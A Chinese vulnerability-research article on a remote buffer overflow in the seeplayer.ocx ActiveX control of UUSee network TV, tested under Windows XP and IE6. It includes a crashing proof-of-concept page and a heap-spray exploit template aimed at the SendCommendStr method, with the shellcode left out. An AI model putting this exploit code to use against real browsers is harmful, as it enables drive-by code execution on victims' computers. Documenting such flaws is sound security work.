在国内网络视频软件市场,UUSee的名气还是比较大的,相信很多人都用过。对于研究软件安全的朋友来说,UUSee也是一个最容易出问题的软件,记得UUSee2008版本出现过多个安全漏洞,有拒绝服务的、有远程溢出的、有远程实现木马下载执行的。这其中最有名的利用UUSee的Update功能实现远程下载并执行木马的安全漏洞,不知道被多少人拿来作为网页木马使用。2010年我也在黑防上发表过UUSee的一个远程溢出漏洞,出问题的文件是其UUPlayer.ocx控件中的DoCmd接口。最近在工作之余,发现UUSee又推出了网络电视软件,于是从UUSee的官方网站上下载了该程序的最新版本,打算做一次安全测试,结果发现以往的安全漏洞都已修补,但是新的安全漏洞还是被挖掘出来了。
本次的测试环境是WindowsXPSP3,浏览器为IE6。被测试的UUSee网络电视具体版本号为UUSee20127.12.830.1,如图1所示。
安装好UUSee网络电视,使用ComRaider扫描当前系统中新加入的ActiveX控件,发现UUSee网络电视向系统添加了多个新的ActiveX控件,这里研究的是seeplayer.ocx。我们看看seeplayer.ocx的具体信息,如图2所示。
从图中我们可以看到,seeplayer.ocx文件开发时间是2011年10月27日,数字证书显示了文件建立时间。利用ComRaider打开seeplayer.ocx文件,会看到该文件提供的全部外部接口,如图3所示。
seeplayer.ocx文件提供了大量的外部接口,这是一个很好的消息,我们可以对这些外部接口一一进行安全测试。测试方法非常简单,建立一个HTML文件就可以进行。这里我们首先测试的外部接口是“SendCommendStr”,其函数原型为:SubSendCommendStr(ByVal
commendstr
AsString)。测试网页代码为:
objectclassid=clsid:EAB7A1CC-C77B-45E5-9AC2-AD037D047BCCname=evil/object script vara=Array(5000); document.write(evil.SendCommendStr(a)); /script
保存上述测试代码为test.htm,将其放置在本机建立的Web服务器的目录下,运行IE6,输入test.htm文件所在的网址,回车会发现IE6崩溃了。用OllyDbg程序来调试IE6,再次访问test.htm文件所在的网址,这一次OllyDbg程序监测到IE6发生崩溃的真正原因,如图4所示。
OllyDbg程序显示此刻IE6执行到内存地址为2C2C2C2C的时候,由于该内存地址不存在,导致IE6无法继续运行而发生崩溃。这里“2C”是符号“,”的ASCII码。在test.htm网页文件中,有一句代码“vara=Array(5000)”,该代码的意思就是将a这个变量赋值为5000个“,”组成的字符串。这是由于这个超长字符串组成的变量a造成了IE6在调用seeplayer.ocx文件的SendCommendStr外部接口时发生了溢出,最终覆盖了某个关键内存地址。不过幸运的是,IE6最后出错的这个地址是可以被我们的代码所控制的,也就是a变量的具体内容可以控制,能够直接覆盖SEH。利用经典的heapspray技术,就能够成功实现控制IE6在漏洞发生时执行任意代码,一个能够被改写为网页木马的远程溢出漏洞就这样被我们发现了。基本测试代码如下所示:
objectclassid=clsid:EAB7A1CC-C77B-45E5-9AC2-AD037D047BCCname=evil/object script varheapSprayToAddress=0x0c0c0c0c; varshellcode=unescape(shellcode); varheapBlockSize=0x400000; varpayLoadSize=shellcode.length*2; varspraySlideSize=heapBlockSize-(payLoadSize+0x38); varspraySlide=unescape(%u0505%uebdf%uebdf); spraySlide=getSpraySlide(spraySlide,spraySlideSize); heapBlocks=(heapSprayToAddress-0x400000)/heapBlockSize; memory=newArray(); for(i=0;iheapBlocks;i++) { memory[i]=spraySlide+shellcode; } vara=d; vari=0; while(i3000) { a=a+0x2c;//这里设置溢出覆盖地址为0x2c2c2c2c i=i+1; } document.write(evil.SendCommendStr(a)); functiongetSpraySlide(spraySlide,spraySlideSize) { while(spraySlide.length*2spraySlideSize) { spraySlide+=spraySlide; } spraySlide=spraySlide.substring(0,spraySlideSize/2); returnspraySlide; } /script
除去上面这个安全漏洞,在测试中,发现UUSee网络电视还存在很多安全问题,这里就不再一一叙述了。
本文为网络安全技术研究记录,文中技术研究环境为本地搭建或经过目标主体授权测试研究,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,在挖掘、提交相关漏洞的过程中,应严格遵守相关法律法规。